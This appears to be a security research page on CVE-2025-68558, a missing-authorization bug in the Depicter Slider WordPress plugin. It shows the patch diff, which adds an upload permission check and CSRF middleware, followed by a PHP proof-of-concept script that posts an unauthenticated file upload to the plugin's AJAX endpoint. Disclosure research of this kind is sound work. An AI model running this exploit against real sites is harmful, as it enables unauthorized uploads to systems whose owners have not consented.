CVE-2025-68558: Depicter Slider <= 4.0.4 – Missing Authorization (depicter)

--- a/depicter/app/routes/ajax.php
+++ b/depicter/app/routes/ajax.php
@@ -471,18 +471,22 @@
 // ========================================================
 Depicter::route()->methods(['POST'])
     ->where('ajax', 'depicter-document-rules-store', true, true)
+    ->middleware('csrf-api:depicter-editor')
     ->handle('RulesAjaxController@store');

 Depicter::route()->methods(['GET'])
         ->where('ajax', 'depicter-document-rules-show', true, true)
+        ->middleware('csrf-api:depicter-editor')
         ->handle('RulesAjaxController@show');

 Depicter::route()->methods(['GET'])
         ->where('ajax', 'depicter-condition-all', true, true)
+        ->middleware('csrf-api:depicter-editor')
         ->handle('RulesAjaxController@all');

 Depicter::route()->methods(['GET'])
         ->where('ajax', 'depicter-document-condition-options', true, true)
+        ->middleware('csrf-api:depicter-editor')
         ->handle('RulesAjaxController@conditionValues');

 Depicter::route()->methods(['POST'])
--- a/depicter/app/src/Controllers/Ajax/FileUploaderController.php
+++ b/depicter/app/src/Controllers/Ajax/FileUploaderController.php
@@ -8,6 +8,13 @@
 	public function uploadFile(RequestInterface $request, $view) {

 		try{
+
+			if ( ! current_user_can('upload_files') ) {
+				return Depicter::json([
+					'errors' => [ __('You do not have permission to upload files.', 'depicter' ) ]
+				])->withStatus(400 );
+			}
+
 			$files = $request->files();

 			if ( empty( $files ) ) {
--- a/depicter/depicter.php
+++ b/depicter/depicter.php
@@ -3,7 +3,7 @@
  * Plugin Name: Depicter
  * Plugin URI: https://depicter.com
  * Description: Build stunning sliders, popups, carousels, video sliders, post sliders, and WooCommerce sliders fast and easy.
- * Version: 4.0.4
+ * Version: 4.0.5
  * Requires at least: 5.3
  * Requires PHP: 7.4.0
  * Author: Depicter Slider and Popup by Averta
@@ -17,7 +17,7 @@
  * @package Depicter
  */

-const DEPICTER_VERSION = '4.0.4';
+const DEPICTER_VERSION = '4.0.5';

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
--- a/depicter/vendor/autoload.php
+++ b/depicter/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/depicter/vendor/composer/InstalledVersions.php
+++ b/depicter/vendor/composer/InstalledVersions.php
@@ -27,6 +27,12 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
@@ -323,6 +329,18 @@
     }

     /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
+    }
+
+    /**
      * @return array[]
      * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
@@ -336,7 +354,7 @@
         $copiedLocalDir = false;

         if (self::$canGetVendors) {
-            $selfDir = strtr(__DIR__, '\', '/');
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                 $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
--- a/depicter/vendor/composer/platform_check.php
+++ b/depicter/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68558 - Depicter Slider <= 4.0.4 - Missing Authorization

<?php

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX action for file upload.
$action = 'depicter/dashboard/ajax/upload/file';

// Path to a test file to upload.
$file_path = '/tmp/test.jpg';

// Prepare the POST data with the action parameter.
$post_fields = [
    'action' => $action
];

// Prepare the file for upload using CURLFile.
if (file_exists($file_path) && is_readable($file_path)) {
    $cfile = new CURLFile($file_path, 'image/jpeg', 'test.jpg');
    $post_fields['file'] = $cfile;
} else {
    die("Test file not found or not readable: $file_pathn");
}

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Analyze the response.
echo "HTTP Status Code: $http_coden";
echo "Response Body: $responsen";

// Check for success indicators.
if ($http_code == 200 && strpos($response, '"errors"') === false) {
    echo "n[+] The target appears vulnerable. File upload may have succeeded.n";
} else {
    echo "n[-] The target may be patched or the request failed.n";
}

?>